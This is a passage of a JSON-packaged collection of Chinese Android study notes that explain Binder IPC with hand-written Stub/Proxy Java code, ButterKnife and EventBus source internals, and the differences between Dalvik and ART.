通信方式有两个问题：\n\n性能低下，一次数据传递需要经历：内存缓存区 --> 内核缓存区 --> 内存缓存区，需要 2 次数据拷贝；\n接收数据的缓存区由数据接收进程提供，但是接收进程并不知道需要多大的空间来存放将要传递过来的数据，因此只能开辟尽可能大的内存空间或者先调用 API 接收消息头来获取消息体的大小，这两种做法不是浪费空间就是浪费时间。\n三. Binder 跨进程通信原理\n理解了 Linux IPC 相关概念和通信原理，接下来我们正式介绍下 Binder IPC 的原理。\n\n3.1 动态内核可加载模块 && 内存映射\n正如前面所说，跨进程通信是需要内核空间做支持的。传统的 IPC 机制如管道、Socket 都是内核的一部分，因此通过内核支持来实现进程间通信自然是没问题的。但是 Binder 并不是 Linux 系统内核的一部分，那怎么办呢？这就得益于 Linux 的动态内核可加载模块（Loadable Kernel Module，LKM）的机制；模块是具有独立功能的程序，它可以被单独编译，但是不能独立运行。它在运行时被链接到内核作为内核的一部分运行。这样，Android 系统就可以通过动态添加一个内核模块运行在内核空间，用户进程之间通过这个内核模块作为桥梁来实现通信。\n\n在 Android 系统中，这个运行在内核空间，负责各个用户进程通过 Binder 实现通信的内核模块就叫 Binder 驱动（Binder Dirver）。\n\n那么在 Android 系统中用户进程之间是如何通过这个内核模块（Binder 驱动）来实现通信的呢？难道是和前面说的传统 IPC 机制一样，先将数据从发送方进程拷贝到内核缓存区，然后再将数据从内核缓存区拷贝到接收方进程，通过两次拷贝来实现吗？显然不是，否则也不会有开篇所说的 Binder 在性能方面的优势了。\n\n这就不得不通道 Linux 下的另一个概念：内存映射。\n\nBinder IPC 机制中涉及到的内存映射通过 mmap() 来实现，mmap() 是操作系统中一种内存映射的方法。内存映射简单的讲就是将用户空间的一块内存区域映射到内核空间。映射关系建立后，用户对这块内存区域的修改可以直接反应到内核空间；反之内核空间对这段区域的修改也能直接反应到用户空间。\n\n内存映射能减少数据拷贝次数，实现用户空间和内核空间的高效互动。两个空间各自的修改能直接反映在映射的内存区域，从而被对方空间及时感知。也正因为如此，内存映射能够提供对进程间通信的支持。\n\n3.2 Binder IPC 实现原理\nBinder IPC 正是基于内存映射（mmap）来实现的，但是 mmap() 通常是用在有物理介质的文件系统上的。\n\n比如进程中的用户区域是不能直接和物理设备打交道的，如果想要把磁盘上的数据读取到进程的用户区域，需要两次拷贝（磁盘-->内核空间-->用户空间）；通常在这种场景下 mmap() 就能发挥作用，通过在物理介质和用户空间之间建立映射，减少数据的拷贝次数，用内存读写取代I/O读写，提高文件读取效率。\n\n而 Binder 并不存在物理介质，因此 Binder 驱动使用 mmap() 并不是为了在物理介质和用户空间之间建立映射，而是用来在内核空间创建数据接收的缓存空间。\n\n一次完整的 Binder IPC 通信过程通常是这样：\n\n首先 Binder 驱动在内核空间创建一个数据接收缓存区；\n接着在内核空间开辟一块内核缓存区，建立内核缓存区和内核中数据接收缓存区之间的映射关系，以及内核中数据接收缓存区和接收进程用户空间地址的映射关系；\n发送方进程通过系统调用 copy_from_user() 将数据 copy 到内核中的内核缓存区，由于内核缓存区和接收进程的用户空间存在内存映射，因此也就相当于把数据发送到了接收进程的用户空间，这样便完成了一次进程间的通信。\n如下图：\n\nBinder IPC 原理\n\n四. Binder 通信模型\n介绍完 Binder IPC 的底层通信原理，接下来我们看看实现层面是如何设计的。\n\n一次完整的进程间通信必然至少包含两个进程，通常我们称通信的双方分别为客户端进程（Client）和服务端进程（Server），由于进程隔离机制的存在，通信双方必然需要借助 Binder 来实现。\n\n4.1 Client/Server/ServiceManager/驱动\n前面我们介绍过，Binder 是基于 C/S 架构的。由一系列的组件组成，包括 Client、Server、ServiceManager、Binder 驱动。其中 Client、Server、Service Manager 运行在用户空间，Binder 驱动运行在内核空间。其中 Service Manager 和 Binder 驱动由系统提供，而 Client、Server 由应用程序来实现。Client、Server 和 ServiceManager 均是通过系统调用 open、mmap 和 ioctl 来访问设备文件 /dev/binder，从而实现与 Binder 驱动的交互来间接的实现跨进程通信。\n\n\n\nClient、Server、ServiceManager、Binder 驱动这几个组件在通信过程中扮演的角色就如同互联网中服务器（Server）、客户端（Client）、DNS域名服务器（ServiceManager）以及路由器（Binder 驱动）之前的关系。\n\n通常我们访问一个网页的步骤是这样的：首先在浏览器输入一个地址，如 www.google.com 然后按下回车键。但是并没有办法通过域名地址直接找到我们要访问的服务器，因此需要首先访问 DNS 域名服务器，域名服务器中保存了 www.google.com 对应的 ip 地址 10.249.23.13，然后通过这个 ip 地址才能放到到 www.google.com 对应的服务器。\n\n互联网通信模型\n\nAndroid Binder 设计与实现一文中对 Client、Server、ServiceManager、Binder 驱动有很详细的描述，以下是部分摘录：\n\nBinder 驱动\nBinder 驱动就如同路由器一样，是整个通信的核心；驱动负责进程之间 Binder 通信的建立，Binder 在进程之间的传递，Binder 引用计数管理，数据包在进程之间的传递和交互等一系列底层支持。 \n\nServiceManager 与实名 Binder\nServiceManager 和 DNS 类似，作用是将字符形式的 Binder 名字转化成 Client 中对该 Binder 的引用，使得 Client 能够通过 Binder 的名字获得对 Binder 实体的引用。注册了名字的 Binder 叫实名 Binder，就像网站一样除了除了有 IP 地址意外还有自己的网址。Server 创建了 Binder，并为它起一个字符形式，可读易记得名字，将这个 Binder 实体连同名字一起以数据包的形式通过 Binder 驱动发送给 ServiceManager ，通知 ServiceManager 注册一个名为“张三”的 Binder，它位于某个 Server 中。驱动为这个穿越进程边界的 Binder 创建位于内核中的实体节点以及 ServiceManager 对实体的引用，将名字以及新建的引用打包传给 ServiceManager。ServiceManger 收到数据后从中取出名字和引用填入查找表。\n\n细心的读者可能会发现，ServierManager 是一个进程，Server 是另一个进程，Server 向 ServiceManager 中注册 Binder 必然涉及到进程间通信。当前实现进程间通信又要用到进程间通信，这就好像蛋可以孵出鸡的前提却是要先找只鸡下蛋！Binder 的实现比较巧妙，就是预先创造一只鸡来下蛋。ServiceManager 和其他进程同样采用 Bidner 通信，ServiceManager 是 Server 端，有自己的 Binder 实体，其他进程都是 Client，需要通过这个 Binder 的引用来实现 Binder 的注册，查询和获取。ServiceManager 提供的 Binder 比较特殊，它没有名字也不需要注册。当一个进程使用 BINDER_SET_CONTEXT_MGR 命令将自己注册成 ServiceManager 时 Binder 驱动会自动为它创建 Binder 实体（这就是那只预先造好的那只鸡）。其次这个 Binder 实体的引用在所有 Client 中都固定为 0 而无需通过其它手段获得。也就是说，一个 Server 想要向 ServiceManager 注册自己的 Binder 就必须通过这个 0 号引用和 ServiceManager 的 Binder 通信。类比互联网，0 号引用就好比是域名服务器的地址，你必须预先动态或者手工配置好。要注意的是，这里说的 Client 是相对于 ServiceManager 而言的，一个进程或者应用程序可能是提供服务的 Server，但对于 ServiceManager 来说它仍然是个 Client。\n\nClient 获得实名 Binder 的引用\nServer 向 ServiceManager 中注册了 Binder 以后， Client 就能通过名字获得 Binder 的引用了。Client 也利用保留的 0 号引用向 ServiceManager 请求访问某个 Binder: 我申请访问名字叫张三的 Binder 引用。ServiceManager 收到这个请求后从请求数据包中取出 Binder 名称，在查找表里找到对应的条目，取出对应的 Binder 引用作为回复发送给发起请求的 Client。从面向对象的角度看，Server 中的 Binder 实体现在有两个引用：一个位于 ServiceManager 中，一个位于发起请求的 Client 中。如果接下来有更多的 Client 请求该 Binder，系统中就会有更多的引用指向该 Binder ，就像 Java 中一个对象有多个引用一样。\n\n4.2 Binder 通信过程\n至此，我们大致能总结出 Binder 通信过程：\n\n首先，一个进程使用 BINDER_SET_CONTEXT_MGR 命令通过 Binder 驱动将自己注册成为 ServiceManager；\nServer 通过驱动向 ServiceManager 中注册 Binder（Server 中的 Binder 实体），表明可以对外提供服务。驱动为这个 Binder 创建位于内核中的实体节点以及 ServiceManager 对实体的引用，将名字以及新建的引用打包传给 ServiceManager，ServiceManger 将其填入查找表。\nClient 通过名字，在 Binder 驱动的帮助下从 ServiceManager 中获取到对 Binder 实体的引用，通过这个引用就能实现和 Server 进程的通信。\n我们看到整个通信过程都需要 Binder 驱动的接入。下图能更加直观的展现整个通信过程(为了进一步抽象通信过程以及呈现上的方便，下图我们忽略了 Binder 实体及其引用的概念)：\n\nBinder 通信模型\n\n4.3 Binder 通信中的代理模式\n我们已经解释清楚 Client、Server 借助 Binder 驱动完成跨进程通信的实现机制了，但是还有个问题会让我们困惑。A 进程想要 B 进程中某个对象（object）是如何实现的呢？毕竟它们分属不同的进程，A 进程 没法直接使用 B 进程中的 object。\n\n前面我们介绍过跨进程通信的过程都有 Binder 驱动的参与，因此在数据流经 Binder 驱动的时候驱动会对数据做一层转换。当 A 进程想要获取 B 进程中的 object 时，驱动并不会真的把 object 返回给 A，而是返回了一个跟 object 看起来一模一样的代理对象 objectProxy，这个 objectProxy 具有和 object 一摸一样的方法，但是这些方法并没有 B 进程中 object 对象那些方法的能力，这些方法只需要把把请求参数交给驱动即可。对于 A 进程来说和直接调用 object 中的方法是一样的。\n\n当 Binder 驱动接收到 A 进程的消息后，发现这是个 objectProxy 就去查询自己维护的表单，一查发现这是 B 进程 object 的代理对象。于是就会去通知 B 进程调用 object 的方法，并要求 B 进程把返回结果发给自己。当驱动拿到 B 进程的返回结果后就会转发给 A 进程，一次通信就完成了。\n\n\n\n4.4 Binder 的完整定义\n现在我们可以对 Binder 做个更加全面的定义了：\n\n从进程间通信的角度看，Binder 是一种进程间通信的机制；\n从 Server 进程的角度看，Binder 指的是 Server 中的 Binder 实体对象；\n从 Client 进程的角度看，Binder 指的是对 Binder 代理对象，是 Binder 实体对象的一个远程代理\n从传输过程的角度看，Binder 是一个可以跨进程传输的对象；Binder 驱动会对这个跨越进程边界的对象对一点点特殊处理，自动完成代理对象和本地对象之间的转换。\n五. 手动编码实现跨进程调用\n通常我们在做开发时，实现进程间通信用的最多的就是 AIDL。当我们定义好 AIDL 文件，在编译时编译器会帮我们生成代码实现 IPC 通信。借助 AIDL 编译以后的代码能帮助我们进一步理解 Binder IPC 的通信原理。\n\n但是无论是从可读性还是可理解性上来看，编译器生成的代码对开发者并不友好。比如一个 BookManager.aidl 文件对应会生成一个 BookManager.java 文件，这个 java 文件包含了一个 BookManager 接口、一个 Stub 静态的抽象类和一个 Proxy 静态类。Proxy 是 Stub 的静态内部类，Stub 又是 BookManager 的静态内部类，这就造成了可读性和可理解性的问题。\n\nAndroid 之所以这样设计其实是有道理的，因为当有多个 AIDL 文件的时候把 BookManager、Stub、Proxy 放在同一个文件里能有效避免 Stub 和 Proxy 重名的问题。\n\n因此便于大家理解，下面我们来手动编写代码来实现跨进程调用。\n\n5.1 各 Java 类职责描述\n在正式编码实现跨进程调用之前，先介绍下实现过程中用到的一些类。了解了这些类的职责，有助于我们更好的理解和实现跨进程通信。\n\nIBinder : IBinder 是一个接口，代表了一种跨进程通信的能力。只要实现了这个借口，这个对象就能跨进程传输。\n\nIInterface : IInterface 代表的就是 Server 进程对象具备什么样的能力（能提供哪些方法，其实对应的就是 AIDL 文件中定义的接口）\n\nBinder : Java 层的 Binder 类，代表的其实就是 Binder 本地对象。BinderProxy 类是 Binder 类的一个内部类，它代表远程进程的 Binder 对象的本地代理；这两个类都继承自 IBinder, 因而都具有跨进程传输的能力；实际上，在跨越进程的时候，Binder 驱动会自动完成这两个对象的转换。\n\nStub : AIDL 的时候，编译工具会给我们生成一个名为 Stub 的静态内部类；这个类继承了 Binder, 说明它是一个 Binder 本地对象，它实现了 IInterface 接口，表明它具有 Server 承诺给 Client 的能力；Stub 是一个抽象类，具体的 IInterface 的相关实现需要开发者自己实现。\n\n5.2 实现过程讲解\n一次跨进程通信必然会涉及到两个进程，在这个例子中 RemoteService 作为服务端进程，提供服务；ClientActivity 作为客户端进程，使用 RemoteService 提供的服务。如下图：\n\n\n\n那么服务端进程具备什么样的能力？能为客户端提供什么样的服务呢？还记得我们前面介绍过的 IInterface 吗，它代表的就是服务端进程具体什么样的能力。因此我们需要定义一个 BookManager 接口，BookManager 继承自 IIterface，表明服务端具备什么样的能力。\n\n/**\n * 这个类用来定义服务端 RemoteService 具备什么样的能力\n */\npublic interface BookManager extends IInterface {\n\n    void addBook(Book book) throws RemoteException;\n}\n只定义服务端具备什么要的能力是不够的，既然是跨进程调用，那么接下来我们得实现一个跨进程调用对象 Stub。Stub 继承 Binder, 说明它是一个 Binder 本地对象；实现 IInterface 接口，表明具有 Server 承诺给 Client 的能力；Stub 是一个抽象类，具体的 IInterface 的相关实现需要调用方自己实现。\n\npublic abstract class Stub extends Binder implements BookManager {\n\n    ...\n    \n    public static BookManager asInterface(IBinder binder) {\n        if (binder == null)\n            return null;\n        IInterface iin = binder.queryLocalInterface(DESCRIPTOR);\n        if (iin != null && iin instanceof BookManager)\n            return (BookManager) iin;\n        return new Proxy(binder);\n    }\n\n    ...\n\n    @Override\n    protected boolean onTransact(int code, Parcel data, Parcel reply, int flags) throws RemoteException {\n        switch (code) {\n\n            case INTERFACE_TRANSACTION:\n                reply.writeString(DESCRIPTOR);\n                return true;\n\n            case TRANSAVTION_addBook:\n                data.enforceInterface(DESCRIPTOR);\n                Book arg0 = null;\n                if (data.readInt() != 0) {\n                    arg0 = Book.CREATOR.createFromParcel(data);\n                }\n                this.addBook(arg0);\n                reply.writeNoException();\n                return true;\n\n        }\n        return super.onTransact(code, data, reply, flags);\n    }\n\n    ...\n}\nStub 类中我们重点介绍下 asInterface 和 onTransact。\n\n先说说 asInterface，当 Client 端在创建和服务端的连接，调用 bindService 时需要创建一个 ServiceConnection 对象作为入参。在 ServiceConnection 的回调方法 onServiceConnected 中 会通过这个 asInterface(IBinder binder) 拿到 BookManager 对象，这个 IBinder 类型的入参 binder 是驱动传给我们的，正如你在代码中看到的一样，方法中会去调用 binder.queryLocalInterface() 去查找 Binder 本地对象，如果找到了就说明 Client 和 Server 在同一进程，那么这个 binder 本身就是 Binder 本地对象，可以直接使用。否则说明是 binder 是个远程对象，也就是 BinderProxy。因此需要我们创建一个代理对象 Proxy，通过这个代理对象来是实现远程访问。\n\n接下来我们就要实现这个代理类 Proxy 了，既然是代理类自然需要实现 BookManager 接口。\n\npublic class Proxy implements BookManager {\n    \n    ...\n\n    public Proxy(IBinder remote) {\n        this.remote = remote;\n    }\n\n    @Override\n    public void addBook(Book book) throws RemoteException {\n\n        Parcel data = Parcel.obtain();\n        Parcel replay = Parcel.obtain();\n        try {\n            data.writeInterfaceToken(DESCRIPTOR);\n            if (book != null) {\n                data.writeInt(1);\n                book.writeToParcel(data, 0);\n            } else {\n                data.writeInt(0);\n            }\n            remote.transact(Stub.TRANSAVTION_addBook, data, replay, 0);\n            replay.readException();\n        } finally {\n            replay.recycle();\n            data.recycle();\n        }\n    }\n\n    ...\n}\n我们看看 addBook() 的实现；在 Stub 类中，addBook(Book book) 是一个抽象方法，Client 端需要继承并实现它。\n\n如果 Client 和 Server 在同一个进程，那么直接就是调用这个方法。\n如果是远程调用，Client 想要调用 Server 的方法就需要通过 Binder 代理来完成，也就是上面的 Proxy。\n在 Proxy 中的 addBook() 方法中首先通过 Parcel 将数据序列化，然后调用 remote.transact()。正如前文所述 Proxy 是在 Stub 的 asInterface 中创建，能走到创建 Proxy 这一步就说明 Proxy 构造函数的入参是 BinderProxy，即这里的 remote 是个 BinderProxy 对象。最终通过一系列的函数调用，Client 进程通过系统调用陷入内核态，Client 进程中执行 addBook() 的线程挂起等待返回；驱动完成一系列的操作之后唤醒 Server 进程，调用 Server 进程本地对象的 onTransact()。最终又走到了 Stub 中的 onTransact() 中，onTransact() 根据函数编号调用相关函数（在 Stub 类中为 BookManager 接口中的每个函数中定义了一个编号，只不过上面的源码中我们简化掉了；在跨进程调用的时候，不会传递函数而是传递编号来指明要调用哪个函数）；我们这个例子里面，调用了 Binder 本地对象的 addBook() 并将结果返回给驱动，驱动唤醒 Client 进程里刚刚挂起的线程并将结果返回。\n\n这样一次跨进程调用就完成了。\n\n完整的代码我放到 GitHub 上了，有兴趣的小伙伴可以去看看。源码地址：https://github.com/BaronZ88/HelloBinder\n\n最后建议大家在不借助 AIDL 的情况下手写实现 Client 和 Server 进程的通信，加深对 Binder 通信过程的理解。\n\n受个人能力水平限制，文章中难免会有错误。如果大家发现文章不足之处，欢迎与我沟通交流。\n\n本文在写作过程中参考了很多文章、书籍和源码，其中有很多描述和图片都借鉴了下面的文章，在这里感谢大佬们的无私分享！\n\n\n\n\n"
  },
  {
    "path": "docs/android/sources/butterknife.md",
    "content": "ButterKnife源码分析\n\n\n\n 1. 编译器干了什么\n\n    扫描注解，获取所有带有注解的文件， 生成一个className_ViewBinding.java的文件 ；例如MainActivity使用注解后生成\n\n    MainActivity_ViewBinding.java\n\n    \n    public class MainActivity_ViewBinding implements Unbinder {\n      private MainActivity target;\n    \n      @UiThread\n      public MainActivity_ViewBinding(MainActivity target) {\n        this(target, target.getWindow().getDecorView());\n      }\n    \n      @UiThread\n      public MainActivity_ViewBinding(MainActivity target, View source) {\n        this.target = target;\n    \n        target.btn_test = Utils.findRequiredViewAsType(source, R.id.btn_test, \"field 'btn_test'\", Button.class);\n      }\n    \n      @Override\n      @CallSuper\n      public void unbind() {\n        MainActivity target = this.target;\n        if (target == null) throw new IllegalStateException(\"Bindings already cleared.\");\n        this.target = null;\n    \n        target.btn_test = null;\n      }\n    }\n\n\n2. Butterknife.bind() 干了什么?\n\n        @NonNull @UiThread\n        public static Unbinder bind(@NonNull Object target, @NonNull Dialog source) {\n          View sourceView = source.getWindow().getDecorView();\n          return createBinding(target, sourceView);\n        }\n        \n        private static Unbinder createBinding(@NonNull Object target, @NonNull View source) {\n          Class<?> targetClass = target.getClass();\n          if (debug) Log.d(TAG, \"Looking up binding for \" + targetClass.getName());\n          Constructor<? extends Unbinder> constructor = findBindingConstructorForClass(targetClass);\n        \n          if (constructor == null) {\n            return Unbinder.EMPTY;\n          }\n        \n          //noinspection TryWithIdenticalCatches Resolves to API 19+ only type.\n          try {\n            return constructor.newInstance(target, source);\n          } catch (IllegalAccessException e) {\n            throw new RuntimeException(\"Unable to invoke \" + constructor, e);\n          } catch (InstantiationException e) {\n            throw new RuntimeException(\"Unable to invoke \" + constructor, e);\n          } catch (InvocationTargetException e) {\n            Throwable cause = e.getCause();\n            if (cause instanceof RuntimeException) {\n              throw (RuntimeException) cause;\n            }\n            if (cause instanceof Error) {\n              throw (Error) cause;\n            }\n            throw new RuntimeException(\"Unable to create binding instance.\", cause);\n          }\n        }\n        \n        @Nullable @CheckResult @UiThread\n        private static Constructor<? extends Unbinder> findBindingConstructorForClass(Class<?> cls) {\n          Constructor<? extends Unbinder> bindingCtor = BINDINGS.get(cls);\n          if (bindingCtor != null) {\n            if (debug) Log.d(TAG, \"HIT: Cached in binding map.\");\n            return bindingCtor;\n          }\n          String clsName = cls.getName();\n          if (clsName.startsWith(\"android.\") || clsName.startsWith(\"java.\")) {\n            if (debug) Log.d(TAG, \"MISS: Reached framework class. Abandoning search.\");\n            return null;\n          }\n          try {\n            Class<?> bindingClass = cls.getClassLoader().loadClass(clsName + \"_ViewBinding\");\n            //noinspection unchecked\n            bindingCtor = (Constructor<? extends Unbinder>) bindingClass.getConstructor(cls, View.class);\n            if (debug) Log.d(TAG, \"HIT: Loaded binding class and constructor.\");\n          } catch (ClassNotFoundException e) {\n            if (debug) Log.d(TAG, \"Not found. Trying superclass \" + cls.getSuperclass().getName());\n            bindingCtor = findBindingConstructorForClass(cls.getSuperclass());\n          } catch (NoSuchMethodException e) {\n            throw new RuntimeException(\"Unable to find binding constructor for \" + clsName, e);\n          }\n          BINDINGS.put(cls, bindingCtor);\n          return bindingCtor;\n        }\n\n\n通过对象获取class，通过class查询缓存 看看有没有，如果没有，就用classLoder加载一个 clsName_ViewBinding类文件，这个就是刚刚生成，然后拿到构造方法，传入布局和对象，创建clsName_ViewBinding 对象，而clsName_ViewBinding的构造方法就是进行findViewById了"
  },
  {
    "path": "docs/android/sources/davik_art.md",
    "content": "### Android两种虚拟机区别和联系\n\n\n1. Android 从5.0开始默认使用ART虚拟机执行程序,抛弃了Dalvik虚拟机.加快了Android的运行效率,提高系统的流畅性\n\n原因是Dalvik虚拟机执行的是dex字节码，ART虚拟机执行的是本地机器码, Dalvik虚拟机有一个解释器，用来执行dex字节码, Android从2.2开始,通过JIT（Just-In-Time）进行Dalvik虚拟机的优化,将使用频率较高的字节码翻译成机器码，就可以有效地提高Dalvik虚拟机的执行效率。但即使用采用了JIT，Dalvik虚拟机还是比不上ART虚拟机,因为Dalvik翻译工作是在程序运行时的,而ART在APK在安装时就对其包含的Dex字节码进行翻译，得到对应的本地机器指令，于是就可以在运行时直接执行了。\n\n\n\n2. Android系统通过PackageManagerService来安装APK，在安装的过程，PackageManagerService会通过另外一个类Installer的成员函数dexopt来对APK里面的dex字节码进行优化,对Dalvik虚拟机来说只进行dex字节码的优化,而ART虚拟机将dex字节码翻译成本地机器码,注意的是两种虚拟机不管事字节码的优化还是翻译成机器码都会生成一个后缀是odex文件,只不过ART的是一个oat类型文件,什么是oat文件(不清楚,好像是Linux的文件)"
  },
  {
    "path": "docs/android/sources/design_v28.md",
    "content": "### Android Design Support V28 新增加内容\n\n1. "
  },
  {
    "path": "docs/android/sources/eventbus.md",
    "content": "### EventBus源码分析\n使用 EventBus 时注意\n\n  1. 使用 EventBus eventBus = EventBus.builder().addIndex(new MyEventBusIndex()).build();才是开启注解方式\n  eventBus.register(this);\n  \n  2. 而使用 EventBus.getDefault().register() 是使用反射的方式\n\n#### 1.第一步：编译时期注解解析器\n\n** 编译时 主要生成MyIndexEvent类 **\n\n\n    /** This class is generated by EventBus, do not edit. */\n    \n        public class MyEventBusIndex implements SubscriberInfoIndex {\n            private static final Map<Class<?>, SubscriberInfo> SUBSCRIBER_INDEX;\n        \n            static {\n                SUBSCRIBER_INDEX = new HashMap<Class<?>, SubscriberInfo>();\n        \n                putIndex(new SimpleSubscriberInfo(org.greenrobot.eventbusperf.testsubject.TestEventBusActivity.class, true,\n                        new SubscriberMethodInfo[] {\n                    new SubscriberMethodInfo(\"onPostTest\", org.greenrobot.eventbusperf.testsubject.MEvent.class,\n                            ThreadMode.MAIN),\n                }));\n        \n                putIndex(new SimpleSubscriberInfo(org.greenrobot.eventbusperf.testsubject.PerfTestEventBus.SubscriberClassEventBusAsync.class,\n                        true, new SubscriberMethodInfo[] {\n                    new SubscriberMethodInfo(\"onEventAsync\", TestEvent.class, ThreadMode.ASYNC),\n                }));\n        \n        \n        \n            private static void putIndex(SubscriberInfo info) {\n                SUBSCRIBER_INDEX.put(info.getSubscriberClass(), info);\n            }\n        \n            @Override\n            public SubscriberInfo getSubscriberInfo(Class<?> subscriberClass) {\n                SubscriberInfo info = SUBSCRIBER_INDEX.get(subscriberClass);\n                if (info != null) {\n                    return info;\n                } else {\n                    return null;\n                }\n            }\n        }\n\n\n\n#### 2.EventBus 构造方法\n\nStep1：EventBus .getDefault() 创建了一个单例，采用双校验方式\nStep2: 调用EventBus构造方法创建4个集合,集合的命令通过 dataByKey的形式\n\n          //以事件类型作为Key，Subscription的List集合作为Value的Map集合，后面post一个事件也就用到这个集合\n          \n          1. Map<Class<?>,CopyOnWriteArrayList<Subscription>> subscriptionsByEventType = new HashMap<>();\n          //订阅者作为Key,订阅事件作为Value的Map集合\n          \n          2 Map<Object, List<Class<?>>> typesBySubscriber = new HashMap<>();\n\n          3.Map<Class<?>, Object> stickyEvents== new ConcurrentHashMap<>();\n          4.Map<Class<?>, List<Class<?>>> eventTypesCache = new HashMap<>();\n\n          4.创建EventBusBuilder ：\n          5.创建一个BackgroundPoster:\n          创建一个 HandlerPoster extends Handler implements Poster\n\n\nEventBusBuilder构建构造方法中 创建三个集合\n\n        1.创建一个线程池  ExecutorService executorService = DEFAULT_EXECUTOR_SERVICE;\n        2.List<Class<?>> skipMethodVerificationForClasses;\n        3.List<SubscriberInfoIndex> subscriberInfoIndexes;\n        MainThreadSupport mainThreadSupport;\n\n\n\n\n#### 3. register方法干了什么？\n\n对于register中的参数，就是我们的订阅者，也就是我们经常传入的this对象。在这个方法中主要完成了两件事情。首先通过findSubscriberMethods方法来查找订阅者中所有的订阅方法。然后遍历订阅者的订阅方法来完成订阅者的订阅操作。\n\n\n首先在这里来看一下findSubscriberMethods这个方法是如何查找订阅者的订阅方法。在这先描述一下SubscriberMethod类。对于SubscriberMethod类中，主要就是用保存订阅方法的Method对象，线程模式，事件类型，优先级，是否粘性事件等属性。下面就来看一下findSubscriberMethods方法。\n\n    List<SubscriberMethod> findSubscriberMethods(Class<?> subscriberClass) {\n        //从缓存中获取SubscriberMethod集合\n        List<SubscriberMethod> subscriberMethods = METHOD_CACHE.get(subscriberClass);\n        if (subscriberMethods != null) {\n            return subscriberMethods;\n        }\n        //ignoreGeneratedIndex是否忽略注解器生成的MyEventBusIndex\n        if (ignoreGeneratedIndex) {\n            //通过反射获取subscriberMethods\n            subscriberMethods = findUsingReflection(subscriberClass);\n        } else {\n            //通过注解器生成的MyEventBusIndex信息获取subscriberMethods,\n            //如果没有配置MyEventBusIndex，依然通过通过反射获取subscriberMethods\n            subscriberMethods = findUsingInfo(subscriberClass);\n        }\n        if (subscriberMethods.isEmpty()) {\n            throw new EventBusException(\"Subscriber \" + subscriberClass\n                    + \" and its super classes have no public methods with the @Subscribe annotation\");\n        } else {\n            METHOD_CACHE.put(subscriberClass, subscriberMethods);\n            return subscriberMethods;\n        }\n    }\n    \n    \n    \n    \n    private List<SubscriberMethod> findUsingInfo(Class<?> subscriberClass) {\n        //创建和初始化FindState对象\n        FindState findState = prepareFindState();\n        findState.initForSubscriber(subscriberClass);\n        while (findState.clazz != null) {\n            //获取订阅者信息，没有配置MyEventBusIndex返回null\n            findState.subscriberInfo = getSubscriberInfo(findState);\n            if (findState.subscriberInfo != null) {\n                SubscriberMethod[] array = findState.subscriberInfo.getSubscriberMethods();\n                for (SubscriberMethod subscriberMethod : array) {\n                    if (findState.checkAdd(subscriberMethod.method, subscriberMethod.eventType)) {\n                        findState.subscriberMethods.add(subscriberMethod);\n                    }\n                }\n            } else {\n                //通过反射来查找订阅方法\n                findUsingReflectionInSingleClass(findState);\n            }\n            //进入父类查找订阅方法\n            findState.moveToSuperclass();\n        }\n        //回收处理findState，并返回订阅方法的List集合\n        return getMethodsAndRelease(findState);\n    }\n    \n    \n    private void subscribe(Object subscriber, SubscriberMethod subscriberMethod) {\n        //获取订阅方法中的订阅事件\n        Class<?> eventType = subscriberMethod.eventType;\n        //创建一个Subscription来保存订阅者和订阅方法\n        Subscription newSubscription = new Subscription(subscriber, subscriberMethod);\n        //获取当前订阅事件中Subscription的List集合\n        CopyOnWriteArrayList<Subscription> subscriptions = subscriptionsByEventType.get(eventType);\n        if (subscriptions == null) {\n        //该事件对应的Subscription的List集合不存在，则重新创建并保存在subscriptionsByEventType中\n            subscriptions = new CopyOnWriteArrayList<>();\n            subscriptionsByEventType.put(eventType, subscriptions);\n        } else {\n            //判断是订阅者是否已经被注册\n            if (subscriptions.contains(newSubscription)) {\n                throw new EventBusException(\"Subscriber \" + subscriber.getClass() + \" already registered to event \"\n                        + eventType);\n            }\n        }\n    \n        //将newSubscription按照订阅方法的优先级插入到subscriptions中\n        int size = subscriptions.size();\n        for (int i = 0; i <= size; i++) {\n            if (i == size || subscriberMethod.priority > subscriptions.get(i).subscriberMethod.priority) {\n                subscriptions.add(i, newSubscription);\n                break;\n            }\n        }\n    \n        //通过订阅者获取该订阅者所订阅事件的集合\n        List<Class<?>> subscribedEvents = typesBySubscriber.get(subscriber);\n        if (subscribedEvents == null) {\n            subscribedEvents = new ArrayList<>();\n            typesBySubscriber.put(subscriber, subscribedEvents);\n        }\n        //将当前的订阅事件添加到subscribedEvents中\n        subscribedEvents.add(eventType);\n        //粘性事件的处理，在这里不做详细分析\n        if (subscriberMethod.sticky) {\n            if (eventInheritance) {\n                // Existing sticky events of all subclasses of eventType have to be considered.\n                // Note: Iterating over all events may be inefficient with lots of sticky events,\n                // thus data structure should be changed to allow a more efficient lookup\n                // (e.g. an additional map storing sub classes of super classes: Class -> List<Class>).\n                Set<Map.Entry<Class<?>, Object>> entries = stickyEvents.entrySet();\n                for (Map.Entry<Class<?>, Object> entry : entries) {\n                    Class<?> candidateEventType = entry.getKey();\n                    if (eventType.isAssignableFrom(candidateEventType)) {\n                        Object stickyEvent = entry.getValue();\n                        checkPostStickyEventToSubscription(newSubscription, stickyEvent);\n                    }\n                }\n            } else {\n                Object stickyEvent = stickyEvents.get(eventType);\n                checkPostStickyEventToSubscription(newSubscription, stickyEvent);\n            }\n        }\n    }\n    \n    \n    在这个方法中便是订阅者真正的注册过程。首先会根据subscriber和subscriberMethod来创建一个Subscription对象。之后根据事件类型获取或创建一个Subscription集合subscriptions并添加到typesBySubscriber对象中。最后将刚才创建的Subscription对象添加到subscriptions之中。于是这样就完成了一次订阅者的注册操作\n\n\n\n\n#### 4.Post 方法 ：\n1. 通过ThreadLocal获取各自线程的PostingThreadState,所以同一线程使用同一个eventQueue\n             \n2. PostingThreadState: 保存正在被邮递的事件\n\n3. 将event 添加到PostingThreadState的eventQueue\n\n4. 判断是否正在邮递，因为每个线程只有一个PostingThreadState，当前线程只能有一个在处理\n开始邮递\n  5. 判断当前线程是否是主线程：postingState.isMainThread \n\n6. 通过事件类型查找所有方法  List<Class<?>> eventTypes = lookupAllEventTypes(eventClass);\n\n7. postSingleEventForEventType\n\n      // 事件类型 查找  订阅者   Subscription\n      CopyOnWriteArrayList<Subscription> subscriptions;\n       synchronized (this) {\n              subscriptions = subscriptionsByEventType.get(eventClass);\n       }\n\n     \n     Subscription {\n     \n            Object    包含订阅者对象subscriber  \n\n            SubscriberMethod   订阅者订阅方法，注解参数\n\n\n     }\n\n     \n\n8. postToSubscription(Subscription subscription, Object event, boolean isMainThread） 将事件邮递给 邮递给订阅者\nisMainThread 参数是判断当前是否是主线程\n1. 